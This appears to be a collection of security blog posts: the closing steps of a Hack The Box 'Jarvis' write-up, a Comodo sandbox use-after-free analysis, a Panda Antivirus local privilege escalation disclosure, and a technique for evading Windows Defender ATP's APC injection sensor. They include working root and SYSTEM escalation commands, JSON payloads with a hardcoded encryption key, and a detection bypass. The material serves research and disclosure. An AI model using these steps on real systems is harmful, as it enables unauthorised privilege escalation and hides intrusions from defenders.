I created a service that executes /dev/shm/root.sh:

1
2
3
4
5
6
7
8
[Unit]
Description=pwned

[Service]
ExecStart=/dev/shm/root.sh

[Install]
WantedBy=multi-user.target

And I created /dev/shm/root.sh which echoes:

1
rooot:gDlPrjU6SWeKo:0:0:root:/root:/bin/bash

to /etc/passwd to enable us to su as root with the credentials rooot : AAAA. (Check Ghoul).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pepper@jarvis:/dev/shm$ nano root.service
pepper@jarvis:/dev/shm$ cat root.service
[Unit]
Description=pwned

[Service]
ExecStart=/dev/shm/root.sh

[Install]
WantedBy=multi-user.target
pepper@jarvis:/dev/shm$ nano root.sh
pepper@jarvis:/dev/shm$ chmod +x root.sh
pepper@jarvis:/dev/shm$ cat root.sh
#!/bin/bash
echo 'rooot:gDlPrjU6SWeKo:0:0:root:/root:/bin/bash' >> /etc/passwd
pepper@jarvis:/dev/shm$

I enabled the service and started it:

1
2
3
4
5
pepper@jarvis:/dev/shm$ systemctl enable /dev/shm/root.service
Created symlink /etc/systemd/system/multi-user.target.wants/root.service -> /dev/shm/root.service.
Created symlink /etc/systemd/system/root.service -> /dev/shm/root.service.
pepper@jarvis:/dev/shm$ systemctl start root.service
pepper@jarvis:/dev/shm$

Now if we check /etc/passwd we’ll see that it has been modified:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
pepper@jarvis:/dev/shm$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
pepper:x:1000:1000:,,,:/home/pepper:/bin/bash
mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin
rooot:gDlPrjU6SWeKo:0:0:root:/root:/bin/bash
pepper@jarvis:/dev/shm$
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pepper@jarvis:/dev/shm$ su rooot 
Password:
root@jarvis:/dev/shm# id
uid=0(root) gid=0(root) groups=0(root)
root@jarvis:/dev/shm# whoami
root
root@jarvis:/dev/shm# cd /root/
root@jarvis:~# ls -al
total 52
drwx------ 6 root root 4096 Mar 5 2019 .
drwxr-xr-x 23 root root 4096 Mar 3 2019 ..
lrwxrwxrwx 1 root root 9 Mar 4 2019 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 4 root root 4096 Mar 3 2019 .cache
-rwxr--r-- 1 root root 42 Mar 4 2019 clean.sh
drwxr-xr-x 3 root root 4096 Mar 3 2019 .config
drwxr-xr-x 3 root root 4096 Mar 3 2019 .local
lrwxrwxrwx 1 root root 9 Mar 4 2019 .mysql_history -> /dev/null
drwxr-xr-x 2 root root 4096 Mar 2 2019 .nano
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
lrwxrwxrwx 1 root root 9 Mar 4 2019 .python_history -> /dev/null
-r-------- 1 root root 33 Mar 5 2019 root.txt
-rw-r--r-- 1 root root 66 Mar 4 2019 .selected_editor
-rwxr-xr-x 1 root root 5271 Mar 5 2019 sqli_defender.py
root@jarvis:~#


And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Haystack
Next Hack The Box write-up : Hack The Box - Networked

Comodo Antivirus - Sandbox Race Condition Use-After-Free (CVE-2019-14694)

13 August 2019 at 16:14
Hello,
In this blogpost I'm going to share an analysis of a recent finding in yet another Antivirus, this time in Comodo AV. After reading this awesome research by Tenable, I decided to give it a look myself and play a bit with the sandbox.

I ended up finding a vulnerability by accident in the kernel-mode part of the sandbox implemented in the minifilter driver cmdguard.sys. Although the impact is just a BSOD (Blue Screen of Death), I have found the vulnerability quite interesting and worthy of a write-up.

Comodo's sandbox filters file I/O allowing contained processes to read from the volume normally but redirects all writes to '\VTRoot\HarddiskVolume#\' located at the root of the volume on which Windows is installed.

For each file or directory opened (IRP_MJ_CREATE) by a contained process, the preoperation callback allocates an internal structure where multiple fields are initialized.

The callbacks for the minifilter's data queue, a cancel-safe IRP queue, are initialized at offset 0x140 of the structure as the disassembly below shows. In addition, the queue list head is initialized at offset 0x1C0, and the first QWORD of the same struct is set to 0xB5C0B5C0B5C0B5C.


(Figure 1)

Next, a stream handle context is set for the file object and a pointer to the previously discussed internal structure is stored at offset 0x28 of the context.
Keep in mind that a stream handle context is unique per file object (user-mode handle).

(Figure 2)

The only minifilter callback which queues IRPs to the data queue is present in the IRP_MJ_DIRECTORY_CONTROL preoperation callback for the minor function IRP_MN_NOTIFY_CHANGE_DIRECTORY.

Before the IRP_MJ_DIRECTORY_CONTROL checks the minor function, it first verifies whether a stream handle context is available and whether a data queue is already present within. It checks if the pointer at offset 0x28 is valid and whether the magic value 0xB5C0B5C0B5C0B5C is present.


(Figure 3) : Click to Zoom

Before the call to FltCbdqInsertIo, the stream handle context is retrieved and a non-paged pool allocation of size 0xE0 is made of which the pointer is stored in RDI as shown below.


(Figure 4)

Later on, this structure is stored inside the FilterContext array of the FLT_CALLBACK_DATA structure for this request and is passed as a context to the insert routine.

(Figure 5)

FltCbdqInsertIo will eventually call the InsertIoCallback (seen initialized on Figure 1). Examining this routine we see that it queues the callback data structure to the data queue and then invokes FltQueueDeferredIoWorkItem to insert a work item that will be dispatched in a system thread later on.

As you can see from the disassembly below, the work item's dispatch routine (DeferredWorkItemRoutine) receives the newly allocated non-paged memory (Figure 4) as a context.

(Figure 6) : Click To Zoom
Here is a quick recap of what we saw until now :
  • For every file/directory open, a data queue is initialized and stored at offset 0x140 of an internal structure.
  • A context is allocated in which a pointer to the previous structure is stored at offset 0x28. This context is set as a stream handle context.
  • IRP_MJ_DIRECTORY_CONTROL checks if the minor function is IRP_MN_NOTIFY_CHANGE_DIRECTORY.
  • If that's the case, a non-paged pool allocation of size 0xE0 is made and initialized.
  • The allocation is stored inside the FLT_CALLBACK_DATA and is passed to FltCbdqInsertIo as a context.
  • FltCbdqInsertIo ends up calling the insert callback (InsertIoCallback) with the non-paged pool allocation as a context.
  • The insert callback inserts the request into the queue, queues a deferred work item with the same allocation as a context. 
It is very simple for a sandboxed user-mode process to make the minifilter take this code path, it only needs to call the API FindFirstChangeNotificationA on an arbitrary directory.

Let's carry on.

So, the work item's context (non-paged pool allocation made by IRP_MJ_DIRECTORY_CONTROL for the directory change notification request) must be freed somewhere, right ? This is accomplished by IRP_MJ_CLEANUP 's preoperation routine.

As you might already know, IRP_MJ_CLEANUP is sent when the last handle of a file object is closed, so the callback must perform the janitor's work at this stage.

In this instance, The stream handle context is retrieved similarly to what we saw earlier. Next, the queue is disabled so no new requests are queued, and then the queue cleanup is done by "DoCleanup".

(Figure 8)

As shown below this sub-routine dequeues the pended requests from the data queue, retrieves the saved context structure in FLT_CALLBACK_DATA, completes the operation, and then goes on to free the context.

(Figure 9)
We can trigger what we've seen until now from a contained process by :
  • Calling FindFirstChangeNotificationA on an arbitrary directory e.g. "C:\" : Sends IRP_MJ_DIRECTORY_CONTROL and causes the delayed work item to be queued.
  • Closing the handle : Sends IRP_MJ_CLEANUP.
What can go wrong here ? The answer to that is freeing the context before the delayed work item is dispatched which would eventually receive a freed context and use it (use-after-free).

In other words, we have to make the minifilter receive an IRP_MJ_CLEANUP request before the delayed work item queued in IRP_MJ_DIRECTORY_CONTROL is dispatched for execution.

When trying to reproduce the vulnerability with a single thread, I noticed that the work item is always dispatched before IRP_MJ_CLEANUP is received. This makes sense in my opinion since the work item queue doesn't contain many items and dispatching a work item would take less time than all the work the subsequent call to CloseHandle does.

So the idea here was to create multiple threads that infinitely call :
CloseHandle(FindFirstChangeNotificationA(..)) to saturate the work item queue as much as possible and delay the dispatching of work items until the contexts are freed. A crash occurs once a work item accesses a freed context's pool allocation that was corrupted by some new allocation.

Below is the proof of concept to reproduce the vulnerability :



And here is a small Windbg trace to see what happens in practice (inside parentheses is the address of the context) :
    1. [...]
       QueueWorkItem(fffffa8062dc6f20)
       DeferredWorkItem(fffffa8062dc6f20)
       ExFreePoolWithTag(fffffa8062dc6f20)
       [...]
    2. QueueWorkItem(fffffa80635d2ea0)
       ExFreePoolWithTag(fffffa80635d2ea0)
       QueueWorkItem(fffffa8062dd5c10)
       ExFreePoolWithTag(fffffa8062dd5c10)
       QueueWorkItem(fffffa8062dd6890)
       ExFreePoolWithTag(fffffa8062dd6890)
       QueueWorkItem(fffffa8062ddac80)
       ExFreePoolWithTag(fffffa8062ddac80)
       QueueWorkItem(fffffa80624cd5e0)
       [...]
    3. DeferredWorkItem(fffffa80635d2ea0)
In (1.) everything is normal, the work item is queued, dispatched and then the pool allocation it uses is freed.

In (2.) things start going wrong, the work item is queued but before it is dispatched the context is freed.

In (3.) the deferred work item is dispatched with freed and corrupted memory in its context causing an access violation and thus a BSOD.

We see in this case that the freed pool allocation was entirely repurposed and is now part of a file object :

(Figure 10) : Click to Zoom

Reproducing the bug, you will encounter an access violation at this part of the code:

(Figure 11)

And as we can see, it expects multiple pointers to be valid including a resource pointer which makes exploitation non-trivial.

That's all for this article, until next time :)

Follow me on Twitter : here



Panda Antivirus - Local Privilege Escalation (CVE-2019-12042)

Hello,

This blogpost is about a vulnerability that I found in Panda Antivirus that leads to privilege escalation from an unprivileged account to SYSTEM.

The affected products are : Versions < 18.07.03 of Panda Dome, Panda Internet Security, Panda Antivirus Pro, Panda Global Protection, Panda Gold Protection, and old versions of Panda Antivirus >= 15.0.4.

The vulnerability was fixed in the latest version : 18.07.03

The Vulnerability:


The vulnerable system service is AgentSvc.exe. This service creates a global section object and a corresponding global event that is signaled whenever a process that writes to the shared memory wants the data to be processed by the service. The vulnerability lies in the weak permissions that are affected to both these objects allowing "Everyone" including unprivileged users to manipulate the shared memory and the event.

(Click to zoom)





(Click to zoom)

Reverse Engineering and Exploitation :

The service creates a thread that waits indefinitely on the memory change event and parses the contents of the memory when the event is signaled. We'll briefly describe what the service expects the contents of the memory to be and how they're interpreted.


When the second word from the start of the shared memory isn't zero, a call is made to the function shown below with a pointer to the address of the head of a list.


(Click to zoom)


The structure of a list element looks like this, we'll see what that string should be representing shortly :

    typedef struct StdList_Event
    {
           struct StdList_Event* Next;
           struct StdList_Event* Previous;
           struct c_string
          {
               union
              {
                     char* pStr;
                     char str[16];
               };
               unsigned int Length;
               unsigned int InStructureStringMaxLen;
           } DipsatcherEventString;
           //..
    };


As shown below, the code expects a unicode string at offset 2 of the shared memory. It instantiates a "wstring" object with the string and converts the string to ANSI in a "string" object. Moreover, a string is initialized on line 50 with "3sa342ZvSfB68aEq" and passed to the function "DecodeAndDecryptData" along with the attacker's controlled ANSI string and a pointer to an output string object.


(Click to zoom)




The function simply decodes the string from base64 and decrypts the result using RC2 with the key "3sa342ZvSfB68aEq". So whatever we supply in the shared memory must be RC2 encrypted and then base64 encoded.


(Click to zoom)




When returning from the above function, the decoded data is converted to a "wstring" (indicating the nature of the decrypted data). The do-while loop extracts the sub-strings delimited by '|' and inserts each one of them in the list that was passed in the arguments.


(Click to zoom)

When returning from this function, we're back at the thread's main function (code below) where the list is traversed and the strings are passed to the method InsertEvent of the CDispatcher class present in Dispatcher.dll. We'll see in a second what an event stands for in this context.


(Click to zoom)

In Dispatcher.dll we examine the CDispatcher::InsertEvent method and see that it inserts the event string in a CQueue queue.



(Click to zoom)












The queue elements are processed in the CDispatcher::Run method running in a separate thread as shown in the disassembly below.




(Click to zoom)





The CRegisterPlugin::ProcessEvent method does parsing of the attacker controlled string; Looking at the debug error messages, we find that we're dealing with an open-source JSON parser : https://github.com/udp/json-parser 


(Click to zoom)




Now that we know what the service expects us to send it as data, we need to know the JSON properties that we should supply.

The method CDispatcher::Initialize calls an interesting method CRegisterPlugins::LoadAllPlugins that reads the path where Panda is installed from the registry then accesses the "Plugins" folder and loads all the DLLs there.

A DLL that caught my attention immediately was Plugin_Commands.dll and it appears that it executes command-line commands.



(Click to zoom)

Since these DLLs have debugging error messages, they make locating methods pretty easy. It only takes a few seconds to find the Run method shown below in Plugin_Commands.dll.


(Click to zoom)

In this function we find the queried JSON properties from the input :



(Click to zoom)


It also didn't hurt to intercept some of these JSON messages from the kernel debugger (it took me a few minutes to intercept a command-line execute event).


(Click to zoom)

The ExeName field is present as we saw in the disassembly, an URL, and two md5 hashes. By then, I was wondering if it was possible to execute something from disk and what properties were mandatory and which were optional.

Tracking the SourcePath property in the Run method's disassembly we find a function that parses the value of this property and determines whether it points to an URL or to a file on disk. So it seems that it is possible to execute a file from disk by using the file:// URI.


(Click to zoom)

Looking for the mandatory properties, we find that we must supply at minimum these two : ExeName and SourcePath (as shown below).




Fails (JZ fail) if the property ExeName is absent

Fails if the property SourcePath is absent


However when we queue a "CmdLineExecute" event with only these two fields set, our process isn't created. While debugging this, I found that the "ExeMD5" property is also mandatory and it should contain a valid MD5 hash of the executable to run.

The function CheckMD5Match dynamically calculates the file hash and compares it to the one we supply in the JSON property.


(Click to zoom)


And if successful the execution flow takes as to "CreateProcessW".



(Click to zoom)

Testing with the following JSON (RC2 + Base64 encoded) we see that we successfully executed cmd.exe as SYSTEM :


{
    "CmdLineExecute":       
    {
        "ExeName": "cmd.exe",                           
        "SourcePath": "file://C:\\Windows\\System32",               
        "ExeMD5": "fef8118edf7918d3c795d6ef03800519"
    }
}

(Click to zoom)

However when we try to supply an executable of our own, Panda will detect it as malware and delete it, even if the file is benign.

There is a simple bypass for this in which we tell cmd.exe to start our process for us instead. The final JSON would look like something like this :


 {
    "CmdLineExecute":                                  
    {
        "ExeName": "cmd.exe",                          
        "Parameters": "/c start C:\\Users\\VM\\Desktop\\run_me_as_system.exe",
        "SourcePath": "file://C:\\Windows\\System32",              
        "ExeMD5": "fef8118edf7918d3c795d6ef03800519" //MD5 hash of CMD.EXE
    }
}


The final exploit drops a file from the resource section to disk, calculates the MD5 hash of cmd.exe present on the machine, builds the JSON, encrypts then encodes it, and finally writes the result to the shared memory prior to signaling the event.

Also note that the exploit works without recompiling on all the products affected under all supported Windows versions.


(Click to zoom)


The exploit's source code is on my GitHub page, here is a link to the repository : https://github.com/SouhailHammou/Panda-Antivirus-LPE


Thanks for reading and until another time :)

Follow me on Twitter : here

Circumventing Windows Defender ATP's user-mode APC Injection sensor from Kernel-mode

6 April 2019 at 18:23
In this blogpost, I will share a simple technique to circumvent the check that was introduced in Windows 10 build 1809 to detect user-mode APC injection. This technique will only allow us to "bypass" the sensor when we're running code from kernel-mode, i.e., queuing a user-mode APC to a remote thread from user-mode will still be logged. For more information about this new feature, please check out my previous blogpost.

In short, the sensor will log any user-mode APCs queued to a remote thread, be it from user-mode or kernel-mode. The most important check is implemented in the kernel function : EtwTiLogQueueApcThread as shown below.

(Click to zoom)

So queuing a user-mode APC to a thread in a process other than ours is considered suspicious and will be logged. However, when having code execution in kernel-mode we can queue a kernel-mode APC that will run in the context of the target process and from there we can queue a user-mode APC. This way, the check when KeInsertQueueApc is called from the kernel-mode APC will always yield (UserApc->Thread->Process  == CurrentThread->Process).

I have written a simple driver to test this out : https://github.com/SouhailHammou/Drivers/tree/master/Apc-Injection-ATP-Bypass
  • The driver registers a CreateThreadNotifyRoutine in its DriverEntry.
  • CreateThreadNotifyRoutine queues a kernel-mode APC to a newly created thread.
  • The kernel-mode APC is delivered as soon as the IRQL drops below APC_LEVEL in the target thread in which we allocate executable memory in user-space, copy the shellcode, then queue the user-mode APC.
  • The user-mode APC is delivered in user-mode.
The only issue here is that Windows Defender's ATP will still log the allocation of executable memory thanks to another sensor.

Thanks for your time :)
Follow me on Twitter : here

❌
❌